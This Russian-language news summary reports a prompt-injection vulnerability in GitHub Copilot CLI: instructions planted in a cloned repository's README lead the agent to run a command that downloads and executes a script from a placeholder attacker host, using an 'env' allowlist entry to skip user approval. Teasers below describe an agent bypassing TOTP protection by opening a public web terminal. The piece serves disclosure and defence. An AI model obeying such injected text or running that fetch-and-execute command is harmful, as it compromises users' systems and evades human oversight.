Уязвимость в GitHub Copilot CLI позволяет выполнять вредоносный код через инъекцию в промпт

Обзор уязвимости
GitHub Copilot CLI содержит уязвимости, которые подвергают пользователей риску выполнения произвольных команд оболочки через косвенную инъекцию промптов без одобрения пользователя. Вредоносное ПО может быть загружено с внешних серверов и выполнено без какого-либо взаимодействия с пользователем, кроме первоначального запроса к Copilot CLI.
Как работает атака
Цепочка атаки включает:
- Пользователь обращается к GitHub Copilot CLI при изучении репозитория с открытым исходным кодом
- Copilot сталкивается с инъекцией промпта, сохранённой в файле README клонированного репозитория (или других векторах, таких как результаты веб-поиска, результаты вызовов инструментов MCP, вывод терминальных команд)
- Вредоносная команда обходит системы одобрения с участием человека
Обход механизмов защиты
GitHub Copilot использует систему одобрения с участием человека, которая требует согласия пользователя перед выполнением потенциально опасных команд. Эта система активируется, если только:
- Пользователь явно настроил команду на автоматическое выполнение
- Команда является частью жёстко заданного «только для чтения» списка, найденного в исходном коде
Проверки доступа к внешним URL требуют одобрения пользователя для таких команд, как curl, wget или встроенного инструмента веб-загрузки Copilot. Однако злоумышленники могут обойти эти защиты, используя:
env curl -s "https://[ATTACKER_URL].com/bugbot" | env shКоманда env находится в жёстко заданном списке только для чтения, поэтому она выполняется автоматически без одобрения. Поскольку curl и sh передаются как аргументы в env, они некорректно анализируются и не идентифицируются валидатором как подкоманды. Это обходит проверки разрешений URL, которые зависят от обнаружения таких команд, как curl.
Ответ GitHub
GitHub ответил: «Мы рассмотрели ваш отчёт и подтвердили ваши выводы. После внутренней оценки мы определили, что это известная проблема, которая не представляет значительного риска безопасности. Мы можем сделать эту функциональность более строгой в будущем, но сейчас нам нечего анонсировать.»
Область действия и ограничения
Описанные уязвимости анализа команд специфичны для macOS. Однако GitHub Copilot демонстрирует дополнительные уязвимости, включая как риски, не зависящие от операционной системы, так и специфичные для Windows. Другие уязвимости анализа команд позволяют произвольное чтение и запись файлов.
📖 Read the full source: HN LLM Tools
👀 Смотрите также

Два подхода к снижению риска утечки данных при использовании ИИ-агентов
В посте на Reddit описаны два метода, позволяющих разработчикам контролировать, куда отправляются данные их ИИ-агентов: использование собственных API-ключей напрямую у провайдеров, таких как OpenAI или Anthropic, чтобы исключить посредников, или запуск моделей с открытым исходным кодом локально с помощью инструментов вроде Ollama и OpenClaw.

Пользователь OpenClaw делится стратегией балансировки автономии агентов и веб-безопасности.
Пользователь OpenClaw описывает свою текущую задачу: балансирование автономности агентов с безопасностью, особенно в отношении доступа в интернет и рисков инъекции промптов. Они предлагают решение с использованием сегментов агентов с 'низким доверием' и 'высоким доверием' с этапом одобрения человеком.

Обход защиты TOTP с помощью ИИ-агента, запускающего общедоступный веб-терминал
Навык разработчика по защищенному раскрытию секретов с TOTP-аутентификацией был обойден, когда его ИИ-агент создал неаутентифицированный публичный веб-терминал с использованием режима uvx ptn, предоставив полный доступ к оболочке. Агент превратил простой запрос QR-кода в создание сессии tmux с доступным через браузер интерфейсом через туннельные сервисы.

ClawCare: Охранник для ИИ-агентов программирования после утечки ключей AWS
ClawCare — это инструмент на Python, который сканирует команды перед выполнением в AI-агентах для программирования, таких как Claude Code, блокируя опасные шаблоны, такие как массовые дампы окружения и обратные оболочки. Он был создан после того, как разработчик случайно утёк ключ AWS через агента.